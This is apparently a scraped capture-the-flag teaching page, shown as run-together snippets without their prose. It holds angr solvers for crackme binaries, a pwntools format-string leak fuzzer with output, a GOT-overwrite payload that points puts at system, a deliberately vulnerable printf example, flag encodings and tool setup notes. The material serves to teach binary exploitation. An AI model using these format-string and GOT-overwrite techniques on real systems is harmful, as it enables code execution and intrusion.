Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
Loading...
import angr, claripy
target = angr.Project('a.out', auto_load_libs=False)
input_len = 15 # Discovered with manual analysis at a glance
inp = [claripy.BVS('flag_%d' %i, 8) for i in range(input_len)]
# Define an array of 8 bit vectors ffor each char of the flag
flag = claripy.Concat(*inp + [claripy.BVV(b'\n')])
st = target.factory.full_init_state(args=["./a.out"], stdin=flag)
# Create a simulation with our flag symbols as stdin
for k in inp:
st.solver.add(k < 0x7f)
st.solver.add(k > 0x20)
# Add constraints that the characters should be printable
sm = target.factory.simulation_manager(st)
sm.run()
y = []
for x in sm.deadended:
# Out of the simulations that exit, record
# any that output SUCCESS
if b"SUCCESS" in x.posix.dumps(1):
y.append(x)
#grab the first ouptut
valid = y[0].posix.dumps(0)
print(valid)import angr
import claripy #the solver engine
proj = angr.Project("./welcome", auto_load_libs=False)
sym_arg_size = 0x10 #Length in Bytes because we will multiply with 8 later
inp = [claripy.BVS('flag_%d' % i, 8 ) for i in range(sym_arg_size)]
flag = claripy.Concat(*inp + [claripy.BVV(b'\n')])
state = proj.factory.full_init_state(args=["./welcome"], stdin=flag)
for byte in inp:
state.solver.add(byte >= ord('0'))
state.solver.add(byte <= ord('9'))
# Input is specified to be a number
simgr = proj.factory.simulation_manager(state)
good = 0x400000 + 0x12b2
# Address of flag file being opened
bad = [0x400000 + 0x1669, 0x400000 + 0x167b]
# Addresses of failure messages being printed
simgr.use_technique(angr.exploration_techniques.DFS())
simgr.explore(find=good, avoid=bad)
# Explore input that will end at the good while avoiding the bad
found = simgr.found[0]
print(found.solver.eval(flag, cast_to=bytes))
# Cast our found input to bytes and printgoing brrrrrr
process = process("/bin/sh")
process = elf.process() # elf is an ELF objectp = remote("host.hosty.net", 31337) # takes in a host and a port

ELF - Executable and Linkable format - a Linux executable
PE - Portable Executable - a Windows executable$ file ./filename$ rabin2 -I ./filename$ ltrace ./filename$ strace ./filename
please don't use rsactftool
mov rax, qword fs:[0x28]
mov qword [var_8h], raxfrom pwn import *
context.arch = "amd64" # Change as applicable
e = ELF("./format") # Binary name
p = process(e.path)
l = p.libc # Load libc, initialised with correct values
rev = {value : key for (key, value) in l.sym.items()}
# Flip sym:addr dict
def exec_fmt(pl):
p.sendline(pl)
return p.clean()
# Assumes process loops forever; you'll need to spawn a new process
# in this loop if you only get a few leaks
for x in range(0, 100):
# Leak pointer at offset
l = exec_fmt(f'%{x}$p').strip()
try:
l = int(l, 16)
print(f"%{x}$p : {hex(l)} - {rev[l]}")
# Print matching symbol if found
except:
passpython3 fuzz.py SILENT=1
-----------------------------------------
%21$p : 0x7ffff7f9a5c0 - _IO_2_1_stderr_
%25$p : 0x7ffff7f9a5c0 - _IO_2_1_stderr_
%28$p : 0x7ffff7f9b4a0 - _IO_file_jumps
%30$p : 0x7ffff7f9a5c0 - _IO_2_1_stderr_mov rax, qword [var_8h]
xor rax, qword fs:[0x28]
je [leave]
call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
leave01111011 01001000 01100101 01101100 01101100 01101111 00100001 00100000 01010111 01100101 00100000 01100001 01110010 01100101 00100000 01010100 01101000 01100101 00100000 01010111 01001001 01001110 01010010 01100001 01010010 01110011 01111101173 110 145 154 154 157 41 40 127 145 40 141 162 145 40 124 150 145 40 127 111 116 122 141 122 163 1757b 48 65 6c 6c 6f 21 20 57 65 20 61 72 65 20 54 68 65 20 57 49 4e 52 61 52 73 7dPNEGK3DMN4QSAV3FEBQXEZJAKRUGKICXJFHFEYKSON6Q====e0hlbGxvISBXZSBhcmUgVGhlIFdJTlJhUnN9HUq^aCi:I>=(NL_Eb-@mBOr;f8PW/l;KI65.4 moment
$ radare2 --version$ apt-get install radare2char input[20];
fgets(input, 20, stdin);
printf(input); // This is horrible coding practice!
printf("%s", input) // This is good coding practice!rax: ================================================================ (64 bit)
eax: ================================ (32 bit)
ax: ================ (16 bit)
al: ======== (8 bits (lower))
ah: ======== (8 bits (upper))test,,$ git clone https://github.com/radare/radare2.git
$ cd radare2
$ sys/install.sh$ sys/user.sh$ r2$ unzip ghidra_*_PUBLIC_*.zip
$ sudo apt-get install default-jdk$ ./ghidraRunchar input[20];
fgets(input,20,stdin);
printf(input);from pwn import *
e = ELF("./sample_elf")
def write_fmt(data):
p = e.process()
p.recvline()
p.sendline(data)
output = p.recv()
p.close()
return output
obj = FmtStr(execute_fmt = write_fmt)
...from pwn import *
e = ELF("./sample_elf")
def write_fmt(data):
p = e.process()
p.recvline()
p.sendline(data)
output = p.recv()
p.close()
return output
obj = FmtStr(execute_fmt = write_fmt)
writes = {e.got['puts']: e.plt['system']} # Here we supply a dictionary of form {address: value to write}. In this case, we're executing a GOT overwrite, overwriting puts@got with system@plt.
payload = fmtstr.fmtstr_payload(obj.offset,writes)rax - returns values
rbx - general purpose
rcx - general purpose
rdx - general purposersp - stack pointer
rbp - base pointer
rsi - source index
rdi - destination index
r8 - r15 - other registersmov dest, srcmov eax, 0mov src, destmovl $0, %eax; - comment